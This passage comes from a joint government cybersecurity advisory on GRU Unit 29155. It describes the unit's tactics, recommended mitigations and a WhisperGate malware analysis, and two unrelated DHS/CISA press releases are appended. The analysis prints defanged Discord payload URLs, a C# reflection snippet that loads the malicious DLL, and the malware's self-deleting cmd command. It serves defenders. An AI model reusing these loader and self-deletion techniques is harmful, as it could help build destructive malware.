Unit 29155 cyber actors obtain publicly available malware and malware loaders to support their operations. For example, analysis suggests Raspberry Robin malware may have been used in the role of an access broker.
Once Unit 29155 cyber actors gained access to victim internal networks, they further used Nmap (via the NSE) to write custom scripts for discovering and scanning other machines.
Unit 29155 cyber actors have used their infrastructure to compromise multiple victims’ mail servers and exfiltrate mail artifacts, such as email messages.
Unit 29155 cyber actors compress victim data (e.g., the entire filesystem, select file system artifacts or user data, and/or database dumps) to send back to their infrastructure.
Unit 29155 cyber actors executed commands via ProxyChains—a tool used to route internal traffic through a series of proxies.
ProxyChains was also used to provide further anonymity and modify system configuration to force network traffic through chains of SOCKS5 proxies and respective ports.
When an exploit is successfully executed on a victim system, Unit 29155 cyber actors are known to launch the Meterpreter payload to initiate communication with their actor-controlled systems.
Unit 29155 cyber actors have used infrastructure configured with OpenVPN configuration to tunnel traffic over a single port (1194), VPNs, and GOST to anonymize their operational activity.
Table 13: Exfiltration
Technique Title
ID
Use
Exfiltration Over Web Service: Exfiltration to Cloud Storage
Unit 29155 cyber actors’ objectives include the destruction of data.
Mitigations
The authoring agencies recommend organizations implement the mitigations supplied below to improve organizational cybersecurity posture based on threat actor activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
Limit Adversarial Use of Common Vulnerabilities
Prioritize patching to CISA’s Known Exploited Vulnerabilities Catalog, especially for CVEs identified in this advisory, and then critical and high vulnerabilities that allow for remote code execution on internet-facing devices.
Conduct regular automated vulnerability scans to perform vulnerability assessments on all network resources based on threat actor behaviors and known exploitable vulnerabilities (CISA CPG 1.E).
Limit exploitable services on internet-facing assets, such as email and remote management protocols (CISA CPGs 2.M, 2.W). Where necessary services must be exposed, such as services hosted in a demilitarized zone (DMZ), implement the appropriate compensatory controls to prevent common forms of abuse and exploitation. Disable all unnecessary operating system applications and network protocols to combat adversary enumeration. For additional guidance, see CISA Insights: Remediate Vulnerabilities for Internet-Accessible Systems.
U.S. organizations can utilize a range of CISA services at no cost, including vulnerability scanning and testing, to help organizations reduce exposure to threats. CISA Cyber Hygiene services can provide additional review of internet-accessible assets and provide regular reports on steps to take to mitigate vulnerabilities. Email vulnerability@cisa.dhs.gov with the subject line, “Requesting Cyber Hygiene Services,” to get started.
Software manufacturers, vendors, and consumers are encouraged to review CISA and NIST’s Defending Against Supply Chain Attacks. This publication provides an overview of software supply chain risks and recommendations for how software customers and vendors can use the NIST Cyber Supply Chain Risk Management (C-SCRM) Framework and the Secure Software Development Framework (SSDF) to identify, assess, and mitigate software supply chain risks. CISA recommends comprehensive mitigations for supply chain incident reporting, vulnerability disclosing (e.g., security.txt), and choosing a trusted supplier or vendor that observes proper cyber security hygiene (CISA CPG 1.G, 1.H, 1.I) to defend against upstream attacks.
Deploy Protective Controls and Architecture
Implement network segmentation. Network segmentation can help prevent lateral movement by controlling traffic flows between—and access to—various subnetworks (CISA CPG 2.F). Best practice mitigations include updating Identity and Access Management (IAM) and employing phishing-resistant MFA for all devices and accounts identified as organizational assets. For additional guidance, see CISA and NSA’s IAM Recommended Best Practices Guide for Administrators (CISA CPG 2.H).
Verify and ensure that sensitive data, including credentials, are not stored in plaintext and can only be accessed by authenticated and authorized users. Credentials must be stored in a secure manner, such as with a credential/password manager to protect from malicious enumeration (CISA CPG 2.L).
Disable and/or restrict use of command line and PowerShell activity. Update to the latest version and uninstall all earlier PowerShell versions (CISA CPG 2.N).
Implement a continuous system monitoring program, such as security information and event management (SIEM) or endpoint detection and response (EDR) solutions, to comprehensively log and review all authorized external access connections. This logging will better ensure the prompt detection of misuse or abnormal activity (CISA CPG 2.T).
Monitor for unauthorized access attempts and programming anomalies through comprehensive logging that is secured from modification, such as limiting permissions and adding redundant remote logging (CISA CPG 2.U). Security appliances should be set to detect and/or block Impacket framework indicators, PSExec or WMI commands, and suspicious PowerShell commands for timely identification and remediation.
Identify any use of outdated or weak encryption, update these to sufficiently strong algorithms, and consider the implications of post-quantum cryptography (CISA CPG 2.K). Use properly configured and up-to-date Secure Socket Layer (SSL)/Transport Layer Security (TLS) to protect data in transit.
Security Controls
In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
Select an ATT&CK technique described in this advisory (see Table 3 to Table 14).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.
The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact your local FBI field office or CISA’s 24/7 Operations Center at Report@cisa.gov or (888) 282-0870. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.
Version History
September 5, 2024: Initial version.
Appendix A: WhisperGate Malware Analysis
Overview
This technical analysis details the WhisperGate malware deployed against Ukraine; samples were collected from one victim and analyzed. The analysis provides insight into Unit 29155 cyber actor infrastructure used for network scanning, password compromising, and data exfiltration against Ukraine, NATO members in Europe and North America, and countries in Latin America and Central Asia.
Unit 29155 cyber actors’ use of WhisperGate involved the deployment of the malware files, stage1.exe and stage2.exe. WhisperGate has two stages that corrupts a system’s master boot record, displays a fake ransomware note, and encrypts files based on certain file extensions (see AA22-057A). The actors used multiple Discord accounts to store malware files, including what appears to be development versions or iterations of the binaries. Discord is commonly leveraged by threat actors as an endpoint for malware distribution and control; in this case, it was used to obtain the next step of the infection chain by directly sharing files through its platform. In the case of stage2.exe, the binary communicated with Discord to obtain Tbopbh.jpg—the malicious payload that is in-memory loaded and performs the destructive capabilities.[18]
Categorization
The Discord accounts associated with the WhisperGate campaign are categorized into three main clusters, labeled below as Clusters 1, 2, and 3. All clusters used Discord as a staging environment for malware deployment. These groupings are based on analysis of threat actor IP addresses and the nature of the malware that existed within the accounts. The following sections include notable details found within each cluster.
Cluster 1
Cluster 1 contained the following files:
hxxps://cdn.discordapp[.]com/attachments/928503440139771947/930108637681184768/Tbopbh.jpg (a resource, e.g., payload, for stage2.exe)[18]
saint.exe (a downloader, SaintBot, as detailed by CERT-UA)[19]
hxxps://cdn.discordapp[.]com/attachments/888408190625128461/895633952247799858/n.lashevychdirekcy.atom.gov.ua.zip (means for sending malware in over 35 different zip files via Discord links)[20]
Several Microsoft Word documents with macros that download test01.exe from 3237.site. Once executed, test01.exe downloads load2022.exe from smm2021.net.
Cluster 3
Cluster 3 contained:
hxxps://cdn.discordapp[.]com/attachments/945968593030496269/945970446149509130/Client.exe (Note: Unit 29155 cyber actors’ use of Client.exe was confirmed as linked to the activity, but the file was not obtained for analysis and functionality cannot be confirmed.)
asd.exe (likely a development version of stage1.exe)
Behavioral Analysis
Two Windows Portable Executable (PE) files (stage1.exe and stage2.exe) were obtained from the Ukrainian victim for analysis. One PE file (asd.exe) was obtained from a U.S. victim.
stage1.exe
stage1.exe was obtained from the C: path of the Ukrainian victim’s Windows machine. stage1.exe executes when the infected device is powered down, overwriting the master boot record (MBR) and preventing the system from booting normally. Table 15 lists the hashes and properties attributed to stage1.exe.
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InstallUtil.exe created and executed; files corrupted following execution
C:UsersAppDataLocalTempInstallUtil.exe
Static Analysis
Static analysis was further conducted on two files (stage2.exe, Tbopbh.jpg) to uncover additional malware functionality and attributes.
stage2.exe
Static analysis was performed on a variant of stage2.exe; its hashes and properties are listed in Table 19 below. Of note, the MD5 and SHA-256 hash values were different than those obtained from the Ukrainian victim machine (listed above in Table 17). Behavioral analysis was also performed on the below variant and both files exhibited the same behavior.
This variant of stage2.exe contained multiple layers of execution:
stage2.exe contained a WebClient object that was initialized with Discord URL hxxps://cdn.discordapp.com/attachments/928503440139771947/930108637681184768/Tbopbh.jpg to obtain the payload Tbopbh.jpg.
stage2.exe contained logic to reverse file bytes of a file using the Array’s Reverse method.
stage2.exe contained logic to load an Assembly object into a Stream object.
stage2.exe used the reflection library to call method Ylfwdwgmpilzyaph from the loaded Assembly object.
stage2.exe contained decryption logic that resembled RC4, a C# class produced a base64 string and an encryption class which created a key using the decoded string. The encryption class used encryption logic every 32 bytes to decrypt. Additionally, the XOR functionality occurred using the initialized byte “Array” shown below. The encryption class resembled RC4; it was used every 32 bytes. The base64 string came from a class that contained EazFuscator logic to obfuscate code by eliminating control flow within code, as well as making symbols difficult to analyze:
stage2.exe contained EazFuscator class logic. This included logic that built strings during runtime; otherwise, the full strings would have been obfuscated and further segmented when viewed statically. The following is an example of a built string:
UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==
When the above string was base64 decoded, the system displayed the following PowerShell command: Start-Sleep -s 10
stage2.exe served as the downloader and driver logic for the malware payload, Tbopbh.jpg.
Tbopbh.jpg (payload for stage2.exe variant)
An account in Discord Cluster 1 contained malware with the following hashes, labeled as Tbopbh.jpg:
When viewing payload Tbopbh.jpg using a hex editor, it ended with value “ZM” or hex values “5A 4D”—this indicated the payload was a reversed PE. Reversing the bytes of Tbopbh.jpg revealed the hashes of the resulting payload listed in Table 20 below.
The original filename from the resulting payload was a Dynamic Link Library (DLL) file, Frkmlkdkdubkznbkmcf.dll; its attributes are listed in Table 21:
Note: This format annotates action taken by EazFuscator to obfuscate items, making it difficult for malware analysts to review.
Main – ClassLibrary1
u0002
7c8cb5598e724d34384cce7402b11f0e
pc1eOx2WJVV1579235895 –
Ylfwdwgmpilzyaph
78c855a088924e92a7f60d661c3d1845
stage2.exe was observed calling method Ylfwdwgmpilzyaph to begin decrypting resource 78c855a088924e92a7f60d661c3d1845. The reflection library was used to execute method Ylfwdwgmpilzyaph, as shown in the following C# code block:
using System.Reflection; string path = "Frkmlkdkdubkznbkmcf.dll"; string fqpn = Path.GetFullPath(path); Assembly assembly = Assembly.LoadFile(fqpn); Type type = assembly.GetType("ClassLibrary1.Main"); type.InvokeMember("Ylfwdwgmpilzyaph", BindingFlags.InvokeMethod, null, null, null);
The following application configuration accompanied the above code block to allow loading from remote sources:
Upon invoking the method Ylfwdwgmpilzyaph, Nmddfrqqrbyjeygggda.vbs wrote to the Windows %TEMP% directory and has the following attributes, as listed in Table 22 below.
The VBS code listed in Table 22 used a WScript shell that executed as a Windows application, which ran a PowerShell command to exclude the C: drive from Windows Defender’s security checks. Malware analysts decoded and decrypted one of the resources from Frkmlkdkdubkznbkmcf.dll (78c855a088924e92a7f60d661c3d1845). Further analysis of Frkmlkdkdubkznbkmcf.dll resulted in an additional DLL file with the following hashes:
GNU linker Id (GNU Binutils)(2.28)[Console32,console]
The reversed and decompressed Waqybg files contained file corruption logic along with a final command to ping arbitrarily and delete itself: cmd.exe /min /C ping 111.111.111.111 -n 5 -w 10 > Nul & Del /f /q “%s”. Waqybg is known as WhisperKill—a malware downloaded by WhisperGate that destroys files with specific extensions.[19],[21]
The following file extensions listed in Table 25 were targeted for file corruption with the equivalent of the “wcscmp” C function logic (a string compare function). The corruption logic included overwriting 0x100000 or 1 MB worth of 0xcc values per targeted file.
stage2.exe and its respective payload, Tbopbh.jpg, served as a template for other malware within Discord Cluster 1. While most of these other malware files have not been observed in open source reporting, malware analysts assess them as payloads that follow the unravelling process listed in Figure 1 below.
Figure 1: stage2.exe Execution Process Template
Table 26 below provides a list of MD5 hashes for files found within Discord Cluster 1. When reversed, these files become DLL files, which were structured similarly to Frkmlkdkdubkznbkmcf.dll.
Note: Analysts identified the files below in Discord Cluster 1; the files are staged on the Cluster in reversed byte order. Analysts reversed the file byte order for each file into their proper portable executable format, e.g., “Functional” format. The hashes in Table 26 represent both byte orders.
Table 26: Files Located in Discord Cluster 1
Filename
MD5 (Reversed)
MD5 (Functional)
Afgyyppsysmtddhvhhaw.dll
d034fe4c71b16b6d331886c24fef2751
4074798a621232dc448b65db7b1fdd66
Avbbwys.dll
422437f326b8dbe30cc5f103bde31f26
7f84263fd24f783ff72d5ae91011b558
Azkebvoyswvjnrpmn.dll
562c337b8caca330da2ea6ae07ee5db6
f73d203bdf924658fd6edf3444c93a50
Budoejokuqbge.dll
58e879213d81333b628434ba4aeb2751
08dfebc04eb61c9a6d87b6524c1c0f2e
Bwqdffttejlkeqe.dll
1c85c0d044ac837e8939564afac1eb32
8633bd2bbbb5da22c3f8751150186c42
Bxqbsyxfkjzmhdtfceoak.dll
7234da8ceafbe6586469f18c03cc1832
5f4df6dd8e644d59eaf182e500b5e7bf
Clsrncpbaucrabuobcpale.dll
618d62dd95fd9aeb855fe2ef1403dce5
955e4c198ee58e40fe92cb74ceefdf00
Cpdvzvzyghy.dll
d40195a444526eafb0db56d95bf8655d
a905d620717f75751aa94ceb88995dbc
Ctiktdfyauejxfak.dll
d06761b2cff86035a4838110ed6ab622
2ca6bcf16ee4293a771a1cf7b7b9ee49
Czxhayyankwsp.dll
59da31da4db1aa5f9a5c7c0c151422c8
de1bf141976776becd376a0dac400df6
Djpajq.dll
de1f9d1f0336ddcff832ad3900acd2f1
974e7c0b3660fbf18f29eac059f85ac0
Dmdtflkcgebf.dll
394e056cb6cb732dfd5e0d45d3dae938
4d8343c40be53d6521244fe74393d937
Ejcpaujkmvjndgqznimmkgd.dll
b7c1a8d39f46eaf52be90e24565dd6b0
7a70d5fbbafe3454b76e3ad2f009618f
Encuutwvdqbxlxh.dll
2b39eab325906b0a3ab7e584c3d67349
df4f856f783d23fb01af1e0e64bc0e20
Esalfjyraquwfxcgufwzip.dll
80f0ee332a452172533ad8863bb3bc63
f4f4e55a00d2f3a433c9e5624285ac1c
Fdgofjdvmmllgsxunb.dll
9345425cf07b4c39a80cd8540e08bfde
eef2363744345741e09fe5380eeb4df3
Fkhzvcuucaprsibp.dll
aecb57e20d2c0b0d9fece2cbcbcc3459
4bce4831b1dd71f19c55b3e3b5e99856
Fkthhyexkr.dll
58dc7c9577ff90a046359ca255c0c9f4
19cb20c4e7dbfe15c1aa284752d0fecb
Fqattuyxknkhv.dll
5c9e2195d10375b746b6717fdb47b5b9
2b5f159f022109a8de1bc5dd9e3138a0
Fqyubbzbubsge.dll
afbb9459d4a0f60d7ffb3b3532d11bc2
8d3d4d702ba6b4be2766a41bfe5ff76e
Frkmlkdkdubkznbkmcf.dll
b3370eb3c5ef6c536195b3bea0120929
e61518ae9454a563b8f842286bbdb87b
Gsiook.dll
a1b509254a0a1daa7e00d279ec974461
0e03103e8110785156105946e48ea9e0
Gutjuhi.dll
791a81f31a8e7090a7d5417451e09efa
fba76f4eb2e7a2eb17193bebe290a198
Hisvswmeswmnqbvzpoxzx.dll
e1a15bc13157134f542cd9c55c742460
c9d1677f4f89b95b41591b23a1dc1a63
Hsoahb.dll
cd62d4a178705b2b90a8babd8613df93
032f5642d4fb2fdd74e6f20a13c57746
Icyjkszdzgoxdfuwptkwxo.dll
f34f60375bebad861a35b7c4bb0fa1c8
a66b3b22a3619f739b197d0d443b700c
Jdfzavlqr.dll
7fe7f33d9b5dbdf3d032d2a10e39f283
8cfef66b390f08bdbfd940922cf51650
Jrdggfjvve.dll
b32e14a9b7de6c92cd16758fa6e23346
1220b580cef1bf22351e271773945d20
Jteieurqgvpgnhw.dll
b85538f665fdb6c8d9a74f2df7369832
ffa68749aa3fc6495e2c49b01d964339
Kbuqtmznmodjzvxvwxcvho.dll
869742fb9db71fdb66f00528fe2966ec
5b884f15dc9b072d7bbad9ec2b249f38
Kdmvyizz.dll
2128361d8aaae1225d50c9add32006a1
9152c9de57b5647ee4ab3dff551dc8dd
Kfxghcmg.dll
56e0446a6d7175a0d09110bc483ddbed
fc418fdda06ce5982153766dcefb71d9
Krewcizfplntbwcqawfhtfpd.dll
6a4fca88ee36fecc5113e188cc39d25c
5c3b0040e2dece6e17093ae607b79044
Lsurhpmpyewhv.dll
143594597130e301499e5940a5fb798a
911c7e82f32f78577dcd725a7adb114d
Mbkzrkfasxgxtzhgpgsehip.dll
993f01861aff306df44e6475f7886f37
e4634ef9bfe7b598b857ad997445b239
Mhnovdgzzidqx.dll
64b9feeccf6c183b9f7138f8fc53acbb
7e0c42d33921a89724424f17c97037bd
Mlfampnfnmjvjnahkrawwqd.dll
ddec2d79f460a881849037336ba8968f
d973210977957209f255b58eb1715b12
Mppveiyannobrcdlkd.dll
9606b4720a0e73ef1f00505a11aab2f7
0adc2530cf348c0a3d53a680291a3d67
Mzhyeemgqbmamubqn.dll
f772f5c65d65412f61ef5f2660e33ceb
f8ffd1eab6223e31b15d0fd6c3c0472e
Nbbudwt.dll
875f9200b49db08c33962b0a6bd05ab9
2e035360971a817b854d7d5a2b008717
Nhqcfzagulwaw.dll
fa97dbe84ce7717b754795fa89f13dce
601c12596dfea84c2113ae5ee59a52ec
Nlzhpvuzzoycqnnpl.dll
d8c04ecd646a1f8537a59f63518ef3c6
47f4534da421daf8089cf34d53f6bb6e
Noubvdigjlwsnqiylzgikkk.dll
3bcff990faacbebb8fb470dfe03e2543
683546b9171a1ea284a96d1b45d1d823
Nvxwbzciqarteyuz.dll
c265188fdadddb648629e8060601dca7
af85885a74cfe099676af542dcdc5741
Nykfvwmchighqwcguabvgq.dll
8a2ba7f9cb6f65edf65dbe579907551e
673586594242d99ab02118595e457297
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Appendix B: Indicators of Compromise
Table 27 lists observed IP addresses that were first observed as early as 2022 and have been historically linked to Unit 29155 infrastructure. These IPs are considered historical infrastructure and should be investigated for associated abnormal or malicious activity.
Table 27: IP Addresses Associated with Unit 29155 Infrastructure
Threat actors can exploit jump hosts, also known as jump servers or bastion hosts, to gain unauthorized access or perform malicious activities within a protected network. In this context, the domains listed in Table 28 represent the tools used to establish functionality for creating a jump host.
WASHINGTON – From August 21-22, the U.S. Department of Homeland Security (DHS) and the Government of Japan conducted a successful tabletop exercise focused on enhancing maritime cybersecurity and incident response capabilities. This reflects the continued commitment by the United States and Japan to continue cybersecurity collaboration including on domestic cyber policies, such as those related to the protection maritime critical infrastructure. The exercise simulated a major cyber incident impacting operations at a Japanese port, testing incident response policies and procedures, and fostered conversations between the United States and Japan on how to enhance mutual preparedness for threats to interconnected critical infrastructure.
The collaboration builds upon Secretary Mayorkas’s priority to enhance close cooperation with partners in the Indo-Pacific region with focused discussions on protocols for incident response, information sharing, and the identification of future bilateral cooperation to mitigate current and emerging cyber threats to critical maritime infrastructure. U.S. and Japanese participants discussed protocols for incident response, information sharing, and future bilateral cooperation to more effectively mitigate cyber threats to critical maritime infrastructure. The exercise also allowed DHS and the Ministry of Land, Infrastructure, Transport and Tourism to engage on relevant maritime cybersecurity policies, including President Biden’s February 2024 Executive Order on Amending Regulations Relating to the Safeguarding of Vessels, Harbors, Ports, and Waterfront Facilities of the United States.
“Exercises like these bolster our nation’s capabilities and establish reliable channels for coordination with key international partners,” said Under Secretary for Policy Robert Silvers. “Cyber attacks pose a shared risk, beyond any single nation’s control, making it imperative for the United States and Japan to collaborate in addressing these challenges to thrive in such interconnected environments.”
“Malicious cyber actors recognize ports worldwide possess the same critical vulnerabilities and are increasingly willing to target them,” said Admiral Linda Fagan, Commandant of the U.S. Coast Guard. “Coordinating together to share risk information, improving operational coordination between incident responders, and building our collective capacity to withstand the targeting of port infrastructure is a necessary step to safeguard the global maritime system.”
“Cyber attacks to ports and harbors could potentially disrupt key international logistics functions which serve as a lifeline of Japan, a country surrounded by the sea, affecting both Japan and the United States,” stated Dr. Masahiro Inada, Director General of the Ports and Harbours Bureau, Ministry of Land, Infrastructure, Transport and Tourism. “I intend to share best practices gained through this exercise and continue to promote the reinforcement of cyber security of ports and harbors, while working together with relevant parties.”
“The opportunity to collaborate within the Department and with the Government of Japan was extremely beneficial to building effective partnerships that strengthen maritime systems cybersecurity and resilience,” said CISA’s Executive Assistant Director for Infrastructure Security Dr. David Mussington. “This joint exercise underscores the importance of international planning to ensure we are equipped to respond to cyber threats and reduce risks to global maritime activities.”
This was the second maritime security tabletop exercise that DHS has held this year, following the success of a joint exercise with Indonesian counterparts in June 2024. DHS and Japanese counterparts plan to build off of this exercise by operationalizing lessons learned and each participant will strengthen its cybersecurity measures.
The two days were organized by the Department’s Office of Policy, the Cybersecurity and Infrastructure Security Agency (CISA), and the U.S. Coast Guard, with inputs and participation from the Embassy of the United States of America in Tokyo, the Office of Intelligence & Analysis (I&A), and the Supply Chain Resilience Center. On the Japanese side, the Ports and Harbours Bureau of the Ministry of Land, Infrastructure, Transport and Tourism hosted the exercise, with participation from National Center of Incident Readiness and Strategy for Cybersecurity (NISC), Prefectural Police, Port Authorities and others, and National Security Secretariat, the Japan Coast Guard, National Police Agency, additional port stakeholders in observational roles.
CISA Services Portal and Voluntary Cyber Incident Reporting webpage, with resources and frequently asked questions, is now live
WASHINGTON – Today, the Cybersecurity and Infrastructure Security Agency (CISA) announces its cyber incident reporting form moved to the new CISA Services Portal as part of its ongoing effort to improve cyber incident reporting.
The Portal is a secure platform with enhanced functionality for cyber incident reporting, including integration with login.gov credentials. The portal’s enhanced functionality includes the ability to save and update reports, share submitted reports with colleagues or clients for third-party reporting, and search and filter reports. A new collaboration feature allows users to engage in informal discussions with CISA.
“Any organization experiencing a cyber attack or incident should report it – for its own benefit, and to help the broader community. CISA and our government partners have unique resources and tools to aid with response and recovery, but we can’t help if we don’t know about an incident,” said CISA Executive Assistant Director for Cybersecurity Jeff Greene. “Sharing information allows us to work with our full breadth of partners so that the attackers can’t use the same techniques on other victims, and can provide insight into the scale of an adversary’s campaign. CISA is excited to make available our new portal with improved functionality and features for cyber reporting.”
To guide incident reporters through the reporting process, CISA also released a voluntary cyber incident reporting resource. It helps entities understand “who” should report an incident, “why and when” they should report, as well as “what and how to report.” Several resources to reduce cyber risk are also available.
CISA encourages all organizations to take advantage of its new streamlined portal and voluntarily report cyber incidents.
As the nation’s cyber defense agency and national coordinator for critical infrastructure security, the Cybersecurity and Infrastructure Security Agency leads the national effort to understand, manage, and reduce risk to the digital and physical infrastructure Americans rely on every hour of every day.